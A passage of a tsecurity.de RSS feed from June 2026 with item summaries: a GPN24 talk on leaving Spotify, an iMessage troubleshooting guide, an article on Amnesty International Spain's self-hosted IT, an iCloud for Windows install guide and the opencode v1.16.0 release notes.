about this event: https://cfp.gulas.ch/gpn24/talk/GSHUB7/]]></content:encoded>
</item>
<item>
<title><![CDATA[j0nas: De-Spotify Yourself - Warum Du von $Streamingdienst weg willst und wie/wohin]]></title>
<description><![CDATA[Author: media.ccc.de - Bewertung: 2x - Views:56 https://media.ccc.de/v/gpn24-392-de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wie-wohin

In diesem Talk behandeln wir Gründe von verschiedenen Musik- und Podcast-Streamingdiensten wegzumigrieren und schauen uns mögliche automatisc...]]></description>
<link>https://tsecurity.de/de/3578429/it-security-video/j0nas-de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wiewohin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578429/it-security-video/j0nas-de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wiewohin/</guid>
<pubDate>Sun, 07 Jun 2026 00:17:01 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: media.ccc.de - Bewertung: 2x - Views:56 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/MeqThjQx0c0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>https://media.ccc.de/v/gpn24-392-de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wie-wohin<br />
<br />
In diesem Talk behandeln wir Gründe von verschiedenen Musik- und Podcast-Streamingdiensten wegzumigrieren und schauen uns mögliche automatische Unterstützung und Alternativen (am Beispiel Spotify) an.<br />
<br />
Im Rahmen meiner Großoffensive mich unabhängig(er) von Big Tech zu machen, musste zuletzt Spotify dran glauben. <br />
<br />
In diesem Talk erzähle ich Euch zunächst wieso (nein, es ist nicht nur Enshittyfication und Big-Tech böse).<br />
Danach schauen wir uns an welche Alternativen es selfhosted gibt, wie gut ich sie finde, und welche ich jetzt benutze.<br />
<br />
Außerdem gibt es einen Git-Link zu den Scripten, die ich dafür geschrieben habe und eine kurze Erklärung wie Ihr Eure Spotify Playlists auf mp3s, die Ihr von physischen Alben, die Ihr besitzt, gezogen habt, mappen könnt :)<br />
<br />
j0nas<br />
<br />
https://cfp.gulas.ch/gpn24/talk/GSHUB7/<br />
<br />
#gpn24 #SoftwareandInfrastructure<br />
<br />
Licensed to the public under https://creativecommons.org/licenses/by/4.0/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Typinator 10.1]]></title>
<description><![CDATA[Introduces at-a-glance display of statistics showing time saved, expansions, and corrections. ($29.99 annual subscription, free update, 47.5 MB, macOS 13+)]]></description>
<link>https://tsecurity.de/de/3576512/ios-mac-os/typinator-101/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576512/ios-mac-os/typinator-101/</guid>
<pubDate>Fri, 05 Jun 2026 22:24:03 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img width="96" height="96" src="https://tidbits.com/uploads/2026/03/Typinator-10-icon.png" class="type:primaryImage wp-post-image" alt="Typinator 10 icon" decoding="async"></figure>Introduces at-a-glance display of statistics showing time saved, expansions, and corrections. ($29.99 annual subscription, free update, 47.5 MB, macOS 13+)<p><a href="https://tidbits.com/2016/07/11/os-x-hidden-treasures-typing-exotic-characters/"><picture><source srcset="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-640x200.png" media="(max-width: 600px)" type="image/png"><img src="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180.png" srcset="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180.png 1456w, https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180-640x79.png 640w" alt="macOS Hidden Treasures: Typing Exotic Characters"></picture></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Fix iMessage Not Working on iPhone (2026 Guide)]]></title>
<description><![CDATA[If iMessage is not working on your iPhone, you're not alone. Many users run into issues where messages fail to send, stay stuck on "Not Delivered," appear as green bubbles instead of blue, or show an "iMessage needs to be enabled to send this message" error.



In most cases, the problem is cause...]]></description>
<link>https://tsecurity.de/de/3575376/ios-mac-os/how-to-fix-imessage-not-working-on-iphone-2026-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575376/ios-mac-os/how-to-fix-imessage-not-working-on-iphone-2026-guide/</guid>
<pubDate>Fri, 05 Jun 2026 14:38:36 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If iMessage is not working on your iPhone, you're not alone. Many users run into issues where messages fail to send, stay stuck on "Not Delivered," appear as green bubbles instead of blue, or show an "iMessage needs to be enabled to send this message" error.



In most cases, the problem is caused by a temporary software bug, network issue, incorrect settings, or an Apple service outage. The good news is that you can usually fix iMessage in just a few minutes without losing any data.



This guide covers all the proven troubleshooting methods to get iMessage working again on your iPhone.



Check Apple's System Status



Before changing settings on your iPhone, make sure the issue isn't on Apple's side.



Apple occasionally experiences outages that affect iMessage, FaceTime, and other services. When this happens, no amount of troubleshooting on your device will fix the problem until Apple resolves the issue.




Open Apple's System Status page in Safari.



Look for iMessage in the list of services.



If it shows a green indicator, the service is working normally.



If there is a yellow or red warning, wait for Apple to fix the outage.








Check Your Internet Connection



iMessage requires an internet connection through Wi-Fi or cellular data. If your internet connection is weak or unavailable, messages may fail to send.




Open Settings.



Tap Wi-Fi.



Make sure Wi-Fi is turned on.



Verify that you're connected to a working network.



If Wi-Fi isn't available, enable cellular data.



Open Safari and load a webpage to confirm internet access.








Update Your iPhone



Many iMessage problems are caused by software bugs that Apple fixes in later iOS updates.



Installing the latest version of iOS is one of the easiest ways to solve messaging issues.




Open Settings.



Tap General.



Select Software Update.



Download and install any available update.



Restart your iPhone after the update finishes.








Enable Automatic Date and Time



Incorrect date and time settings can interfere with Apple's messaging services and activation process.



The safest option is to let iPhone manage these settings automatically.








Open Settings.



Tap General.



Select Date &amp; Time.



Turn on Set Automatically.



Verify that the displayed time zone is correct.








Turn iMessage Off and Back On







Refreshing iMessage often resolves temporary activation and syncing issues.




Open Settings.



Tap Apps.



Select Messages.



Turn off iMessage.



Wait about five minutes.



Turn iMessage back on.



Wait for activation to complete.








Verify Your Send &amp; Receive Settings



If iMessages are sending from your email address instead of your phone number, or if iMessage appears grayed out, your Send &amp; Receive settings may be incorrect.




Open Settings.



Tap Apps.



Select Messages.



Tap Send &amp; Receive.



Confirm that your phone number is selected.



Check that your Apple ID email addresses are correct.



Under Start New Conversations From, select your phone number.








Sign Out of iMessage and Sign Back In



Reconnecting your Apple ID can fix activation issues and account-related messaging problems.




Open Settings.



Tap Apps.



Select Messages.



Tap Send &amp; Receive.



Tap your Apple ID.



Choose Sign Out.



Restart your iPhone.



Return to the same screen and sign back in.








Turn On SMS, MMS, and RCS Messaging



If iMessage becomes unavailable, these settings allow your iPhone to continue sending messages through your carrier.



Apple added support for RCS messaging, making communication between iPhone and Android devices more reliable.




Open Settings.



Tap Apps.



Select Messages.



Enable Send as SMS.



Turn on MMS Messaging.



Tap RCS Messaging.



Enable RCS Messaging if supported by your carrier.








Reset Network Settings



If iMessage still isn't working, your network configuration may be causing the issue.



This won't erase your photos, apps, or personal files. However, saved Wi-Fi passwords will be removed.




Open Settings.



Tap General.



Select Transfer or Reset iPhone.



Tap Reset.



Choose Reset Network Settings.



Enter your passcode if prompted.



Wait for the iPhone to restart.








Check if the Problem Is Limited to One Contact



Sometimes the issue isn't with your iPhone at all.



If iMessage only fails with one person, they may have recently switched devices, changed phone numbers, or disabled iMessage.




Send messages to other contacts.



Ask the affected contact if they recently changed phones.



Confirm they still have iMessage enabled.



Remove the conversation and start a new message thread.








Contact Apple Support



If none of the above methods work, there may be an account, activation, or hardware issue requiring direct assistance from Apple.



Apple Support can run additional diagnostics and verify whether there is an issue linked to your Apple ID or device.



FAQs



Why is iMessage not working on my iPhone? The most common causes include internet connectivity problems, Apple server outages, outdated iOS software, incorrect messaging settings, or Apple ID activation issues.  Why are my messages sending as green bubbles? Green bubbles indicate SMS messages. This usually happens when iMessage is disabled, unavailable, or you're messaging a non-Apple device.  Why does iMessage say "Not Delivered"? The error usually appears when your iPhone cannot connect to Apple's messaging servers or when the recipient is unavailable.  Does resetting network settings delete data? No. It only removes saved network-related settings such as Wi-Fi passwords, VPN configurations, and cellular preferences.  Why is FaceTime not working along with iMessage? FaceTime and iMessage use similar activation systems. If both stop working, check your internet connection, Apple ID, date and time settings, and software updates.  



Summary




Check Apple's System Status page.



Confirm Wi-Fi or cellular data is working.



Install the latest iOS update.



Enable automatic date and time.



Turn iMessage off and back on.



Verify Send &amp; Receive settings.



Sign out of Apple ID and sign back in.



Enable SMS, MMS, and RCS messaging.



Reset Network Settings.



Check whether the issue affects only one contact.



Contact Apple Support if the problem continues.




Conclusion



Most iMessage issues can be fixed by checking your internet connection, updating iOS, refreshing iMessage settings, or correcting your phone number configuration. If messages still won't send after trying every method above, Apple's support team can help identify deeper account or activation problems.



Following these troubleshooting steps should get iMessage working again and help prevent future interruptions.]]></content:encoded>
</item>
<item>
<title><![CDATA[How digital sovereignty shapes Amnesty International Spain’s tech model]]></title>
<description><![CDATA[Transformation of an organization is no longer measured solely in terms of productivity, automation, or the adoption of new tools. In nonprofits like Amnesty International Spain, technology has also become a matter of independence, privacy, and the ability to act autonomously.



For over 14 year...]]></description>
<link>https://tsecurity.de/de/3574990/it-security-nachrichten/how-digital-sovereignty-shapes-amnesty-international-spains-tech-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574990/it-security-nachrichten/how-digital-sovereignty-shapes-amnesty-international-spains-tech-model/</guid>
<pubDate>Fri, 05 Jun 2026 12:08:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Transformation of an organization is no longer measured solely in terms of productivity, automation, or the adoption of new tools. In <a href="https://www.cio.com/article/4139229/nonprofits-shaping-the-future-of-responsible-ai.html?utm=hybrid_search">nonprofits</a> like Amnesty International Spain, technology has also become a matter of independence, privacy, and the ability to act autonomously.</p>



<p>For over 14 years, the Spanish branch of the organization has operated with a clear premise to minimize its dependence on large technology platforms, and maintain control over its data, systems, and communications. This strategy, amid the ongoing European debate on digital sovereignty and AI, is taking on a new dimension. “From the ground up, we have a policy of being technologically independent, hosting as much as possible ourselves to ensure we have no problems suing any company, or that any report we publish doesn’t affect the systems we work with,” says head of IT infrastructure Carlos López Belenguer.</p>



<p>Having worked like this long before concepts such as digital sovereignty became a regular part of the European tech debate, people are now discussing it more. “I think it’s a powerful and quite appropriate term,” he says.</p>



<h2 class="wp-block-heading">Technology to avoid dependence on big tech</h2>



<p>Amnesty International Spain’s tech strategy has focused on finding free software alternatives and self-hosted systems that allow them to maintain control over their infrastructure. “One of the great advantages of free software is we aren’t dependent on any company to work,” says Belenguer, adding it’s especially important in an organization dedicated to defending human rights, so it can denounce or investigate any company knowing it won’t face retaliation regarding the use of software.</p>



<p>In his view, the current geopolitical context and some recent moves by large technology companies further reinforce this philosophy. “It’s no coincidence Microsoft is withdrawing a significant portion of its licensing model for NGOs right after Donald Trump said none of its suppliers could have certain policies that went against his administration’s philosophy,” he says.</p>



<p>Belenguer adds that these types of changes can create significant economic and technological problems for organizations that depend entirely on external platforms. “When you already have your entire infrastructure in place, you don’t have many options to switch to the competition, because you’re really intertwined,” he says.</p>



<h2 class="wp-block-heading">Providing the means</h2>



<p>A prime example of this strategy has been implementing Nextcloud as an internal collaborative work platform. But Belenguer’s relationship with this tool began years before its deployment within the organization. “I was already familiar with the software and had been following it for years,” he says.</p>



<p>At that time, Amnesty International Spain was still working with local file servers, and solutions like Microsoft 365 and Microsoft SharePoint were just beginning to spread. “Like many others, we worked with a file system on a local server in the office,” he says. “Everyone went to work in person, and the whole Office 365 movement was just starting to emerge.”</p>



<p>However, the organization decided to explore another option. “I proposed Nextcloud because I was already familiar with it, had considerable experience with <a href="https://www.cio.com/article/4139444/open-source-isnt-altruism-its-how-you-avoid-getting-surprised.html?utm=hybrid_search">open-source software</a>, and we already had quite a few things hosted,” he says. “In the end, it was just a matter of launching one more product.”</p>



<p>The implementation began with a small pilot test with five users, which later grew to 10, and then 30. But the major turning point came with the pandemic in 2020 and the rise of remote work. “By then, we already had it up and running in production with everyone using it,” Belenguer says. “It practically saved our lives in IT.”</p>



<p>The tool evolved from a simple file-sharing system into a collaborative work platform. “When people saw they could edit documents concurrently and work together seamlessly, they began to find many more uses for it,” he says.</p>



<h2 class="wp-block-heading">Privacy, flexibility, and control</h2>



<p>Beyond functionality, Belenguer says the main differentiating value of these types of solutions is control over infrastructure and data. “The only real way today to guarantee privacy when working with big tech is to leave big tech,” he says.</p>



<p>In this way, he expresses a particularly critical view of how large tech platforms handle personal data. “Microsoft seeks to create a general profile of everyone who works with or uses a computer,” he says, adding that the increasing integration of digital services, accounts, and tools is generating a massive collection of information about users. “All this is done under the guise of improving security or ensuring a better user experience.”</p>



<p>Free software, on the other hand, offers a more flexible and secure alternative. “Being your own Google without compromising user privacy and documents, and being technologically independent is a huge leap,” he says.</p>



<p>In addition to privacy, the adaptability offered by working with one’s own infrastructure is also key. “We’ve had much more flexibility both in managing the platform and in recovering lost data, as well as enabling different ways of working,” he says.</p>



<p>Despite its commitment to technological independence, Amnesty International Spain acknowledges that some dependencies remain difficult to overcome, so certain tools from major tech companies have become de facto standards. “A big commitment I feel we have to make is to use Teams,” says Belenguer. “Many people don’t realize an alternative exists.” Still, he adds the organization has achieved a high degree of technological autonomy. “I’d say we’re at about 70% independent,” he says. “If the US cuts the cord, we believe we could continue working practically without problems.”</p>



<h2 class="wp-block-heading">AI: opportunity and concern</h2>



<p>Regarding AI, Amnesty International Spain has developed internal <a href="https://www.cio.com/article/4095393/6-strategies-for-cios-to-effectively-manage-shadow-ai.html?utm=hybrid_search">policies to limit use of external tools with sensitive data</a>. “We’ve developed policies to ensure personal data is neither shared nor fed into any AI controlled by a large company,” he says.</p>



<p>At the same time, the nonprofit is working on projects to deploy its own self-hosted models that can offer users tools with which to process personal data without compromising sensitive information. Among the projects under development are those related to videoconferencing, transcription, and voice and text analysis and synthesis. “We’re aiming for a hybrid model in which certain tasks can be performed with external tools, and others require our own infrastructure,” he says.</p>



<p>Belenguer understands AI will continue to profoundly transform the work of organizations. “There’s practically no aspect of our work that won’t be affected,” he adds. Despite this, he believes this very transformation makes maintaining technological control even more important. “It’s a very good time to try to become technologically independent and control most of our systems,” he says.</p>



<h2 class="wp-block-heading">A cultural shift that has already begun</h2>



<p>Belenguer acknowledges those who opted to maintain their own infrastructure and reduce dependence on large technology platforms were seen as oddities. “For a long time, we felt quite alone doing this,” he says. But he believes the current context is driving a change in mindset. “In the last two years, though, we’ve seen a major ideological shift. There’s constant and enthusiastic talk about digital sovereignty, hosting your own systems, and owning your data.”</p>



<p>This shift confirms the path the organization embarked on years ago made sense. “Now we realize we were largely right and we’ve done the necessary thing,” he says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Download iCloud for Windows in 2026]]></title>
<description><![CDATA[If you use an iPhone and a Windows PC, installing iCloud for Windows is the easiest way to keep your photos, files, passwords, contacts, and other Apple data synced across devices. In 2026, Apple continues to distribute iCloud for Windows primarily through the Microsoft Store, making installation...]]></description>
<link>https://tsecurity.de/de/3574400/ios-mac-os/download-icloud-for-windows-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574400/ios-mac-os/download-icloud-for-windows-in-2026/</guid>
<pubDate>Fri, 05 Jun 2026 06:54:33 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you use an iPhone and a Windows PC, installing iCloud for Windows is the easiest way to keep your photos, files, passwords, contacts, and other Apple data synced across devices. In 2026, Apple continues to distribute iCloud for Windows primarily through the Microsoft Store, making installation much simpler than older versions.



Once installed, iCloud can automatically sync your iCloud Photos library, iCloud Drive files, passwords, bookmarks, calendars, and contacts between your Apple devices and Windows computer. This guide covers every step, from downloading the software to fixing common installation problems.



Table of contentsWhat Is iCloud for Windows?Method 1: Download iCloud for Windows from the Microsoft StoreMethod 2: Set Up iCloud After InstallationMethod 3: Access iCloud Files Through File ExplorerMethod 4: Sync iPhone Photos to WindowsMethod 5: Use iCloud Passwords on WindowsMethod 6: Access iCloud Without Installing AnythingCommon Installation Problems and FixesiCloud won't installMissing Media Features ErrorSign-In ProblemsFAQsSummaryConclusion



What Is iCloud for Windows?



iCloud for Windows is Apple's official application that allows Windows users to access content stored in iCloud directly from their PC. You can view and manage photos, download files, sync passwords, and access calendars without opening a browser.



Some of the most useful features include:




iCloud Photos syncing



iCloud Drive integration in File Explorer



Password syncing with iCloud Passwords



Outlook calendar and contacts support



Browser bookmark syncing



Shared albums and file sharing support




Method 1: Download iCloud for Windows from the Microsoft Store







This is the official and recommended method in 2026.



Apple directs Windows users to install iCloud through the Microsoft Store. This ensures you receive automatic updates and the latest security improvements.




Open the Microsoft Store on your Windows PC.



Search for iCloud.



Select iCloud for Windows published by Apple.



Click Install or Get.



Wait for the download to finish.



Launch the app from the Start menu.



Sign in using your Apple Account.



Complete two-factor authentication if prompted.




Method 2: Set Up iCloud After Installation



Installing the app is only the first step. You must configure which data should sync with Windows.




Open iCloud for Windows.



Sign in with the same Apple Account used on your iPhone or iPad.



Verify your identity using the security code sent to a trusted Apple device.



Select the features you want to enable.



Click Apply.



Wait for the initial sync to finish.




You can enable:




Photos



iCloud Drive



Passwords



Contacts



Calendars



Bookmarks



Mail (with supported configurations)




Method 3: Access iCloud Files Through File Explorer



One of the biggest advantages of the Windows app is direct File Explorer integration.



After enabling iCloud Drive, a dedicated iCloud section appears in File Explorer, allowing you to access cloud files just like local folders.




Open File Explorer.



Locate iCloud Drive in the navigation pane.



Open folders and files normally.



Download files when needed.



Upload new files by dragging them into the iCloud Drive folder.




Changes sync automatically across your Apple devices.



Method 4: Sync iPhone Photos to Windows



Many users install iCloud specifically to transfer photos from iPhone to PC.




Open iCloud for Windows.



Enable Photos.



Click Options beside Photos.



Turn on iCloud Photos.



Save the settings.



Wait for the photo library to sync.




Your images will then appear in Windows and remain synced with your iPhone and iPad.



Method 5: Use iCloud Passwords on Windows



Apple now offers password syncing through iCloud Passwords, making it easier to access saved credentials on a Windows PC.




Open iCloud for Windows.



Enable Passwords.



Install the browser extension if prompted.



Sign in and verify your Apple Account.



Access saved passwords across supported browsers.




This feature works with modern versions of Chrome and Microsoft Edge.



Method 6: Access iCloud Without Installing Anything



If you don't want to install software, you can use the web version.




Open your browser.



Visit iCloud.com.



Sign in with your Apple Account.



Complete two-factor authentication.



Access Photos, Drive, Mail, Notes, Contacts, and more.




This method is useful on shared or work computers.



Common Installation Problems and Fixes



iCloud won't install



Try these fixes:




Update Windows to a supported version.



Sign in to the Microsoft Store with a Microsoft account.



Restart your PC.



Download the latest version from the Microsoft Store.




Missing Media Features Error



Some Windows editions require additional media components.




Open Windows Features.



Enable Media Features.



Restart the computer.



Try installing iCloud again.




Sign-In Problems



If you use Advanced Data Protection or security keys, make sure you're running a recent version of iCloud for Windows. Apple requires newer releases for these security features.



FAQs



Is iCloud for Windows free? Yes. Apple provides iCloud for Windows as a free download through the Microsoft Store.  Can I use iCloud on Windows 11? Yes. iCloud fully supports Windows 11 and supported versions of Windows 10.  Do I need an Apple device to use iCloud? You typically need an Apple Account and at least one Apple device for setup and verification purposes.  Can I sync iPhone photos automatically? Yes. Once iCloud Photos is enabled, photos can sync automatically between your iPhone and Windows PC.  Can I access iCloud without downloading the app? Yes. You can sign in through iCloud.com using any modern web browser.  



Summary




Download iCloud for Windows from the Microsoft Store.



Sign in using your Apple Account.



Enable the features you want to sync.



Access iCloud Drive through File Explorer.



Sync photos, passwords, contacts, and calendars.



Use iCloud.com if you prefer a browser-based experience.



Update Windows and Media Features if installation issues occur.




Conclusion



Downloading iCloud for Windows in 2026 is straightforward thanks to Microsoft's Store integration and Apple's improved Windows support. 



Whether you want to transfer iPhone photos, access iCloud Drive files, sync passwords, or keep calendars updated across devices, iCloud for Windows remains the most reliable solution. Once configured, it works quietly in the background and keeps your Apple and Windows ecosystems connected with minimal effort.]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.16.0]]></title>
<description><![CDATA[Core
Improvements

Added managed workspace cloning that keeps dirty and untracked files.
Added moving sessions between workspaces and directories.
Added proper OpenAI model support through AWS Bedrock.
Added skill discovery and file-based agent loading.
Updated GitHub Copilot usage tracking for t...]]></description>
<link>https://tsecurity.de/de/3574282/downloads/v1160/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574282/downloads/v1160/</guid>
<pubDate>Fri, 05 Jun 2026 05:16:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Added managed workspace cloning that keeps dirty and untracked files.</li>
<li>Added moving sessions between workspaces and directories.</li>
<li>Added proper OpenAI model support through AWS Bedrock.</li>
<li>Added skill discovery and file-based agent loading.</li>
<li>Updated GitHub Copilot usage tracking for token-based billing.</li>
<li>Added <code>run --replay</code> for interactive session replay.</li>
<li>Improved startup time. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/StarpTech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/StarpTech">@StarpTech</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Added Vue syntax highlighting.</li>
<li>Restored full ACP session replay when loading saved sessions. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/imnotlxy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/imnotlxy">@imnotlxy</a>)</li>
<li>Fixed shell cancellation races.</li>
<li>Fixed SAP AI Core OpenAI reasoning variants. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>)</li>
<li>Fixed delegated tasks losing their selected reasoning variant.</li>
<li>Fixed OpenAI websocket sessions getting stuck idle.</li>
<li>Fixed Windows path normalization in migrated storage.</li>
<li>Fixed prompt corruption when pasting near wide characters. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dauphinYan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dauphinYan">@dauphinYan</a>)</li>
<li>Fixed ACP cancel so it aborts the active run. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/smagnuso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/smagnuso">@smagnuso</a>)</li>
<li>Fixed SAP AI Core Anthropic Opus 4.7+ adaptive reasoning. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>)</li>
</ul>
<h2>TUI</h2>
<h3>Improvements</h3>
<ul>
<li>Improved the experimental session switcher.</li>
<li>Truncated long sidebar file paths.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Show a toast when the variant hotkey is used with no variants. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ariane-emory/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ariane-emory">@ariane-emory</a>)</li>
<li>Routed question responses to the right session directory.</li>
<li>Stopped the background task spinner from sticking.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Added color themes. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
<li>Show local server startup failures in the app.</li>
<li>Added a thinking level selector for v2 prompts.</li>
<li>Added a Servers tab in Settings.</li>
<li>Added an update button. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Fixed session review refresh and VCS diff caching.</li>
<li>Hid update actions when desktop updates are unavailable.</li>
<li>Fixed tab title truncation and close button placement.</li>
<li>Show project sessions before path sync finishes. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mhart/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mhart">@mhart</a>)</li>
</ul>
<h2>SDK</h2>
<ul>
<li>Exposed session location data in v2 responses.</li>
</ul>
<h2>Extensions</h2>
<h3>Bugfixes</h3>
<ul>
<li>GitHub now refuses to commit without an existing git author identity. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ulises-jeremias/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ulises-jeremias">@ulises-jeremias</a>)</li>
</ul>
<p><strong>Thank you to 10 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>:
<ul>
<li>fix(opencode): support sap-ai-core anthropic opus 4.7+ adaptive reasoning (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554603316" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/29991" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/29991/hovercard" href="https://github.com/anomalyco/opencode/pull/29991">#29991</a>)</li>
<li>fix(opencode): route SAP AI Core reasoning variants through modelParams (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576152502" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30482" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30482/hovercard" href="https://github.com/anomalyco/opencode/pull/30482">#30482</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mhart/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mhart">@mhart</a>:
<ul>
<li>fix(app): show project sessions before path sync resolves (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4560078867" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30167" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30167/hovercard" href="https://github.com/anomalyco/opencode/pull/30167">#30167</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/smagnuso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/smagnuso">@smagnuso</a>:
<ul>
<li>fix(acp): honor session/cancel by aborting the running turn (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559283950" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30145" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30145/hovercard" href="https://github.com/anomalyco/opencode/pull/30145">#30145</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dauphinYan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dauphinYan">@dauphinYan</a>:
<ul>
<li>fix(tui): prevent prompt corruption when pasting near wide characters (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539180013" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/29710" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/29710/hovercard" href="https://github.com/anomalyco/opencode/pull/29710">#29710</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>:
<ul>
<li>feat(app): v2 desktop UI improvements (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538439324" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/29689" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/29689/hovercard" href="https://github.com/anomalyco/opencode/pull/29689">#29689</a>)</li>
<li>feat(app): polish home projects list UI (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4573403461" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30436" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30436/hovercard" href="https://github.com/anomalyco/opencode/pull/30436">#30436</a>)</li>
<li>feat(app): polish select-v2 component (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4573657655" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30446" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30446/hovercard" href="https://github.com/anomalyco/opencode/pull/30446">#30446</a>)</li>
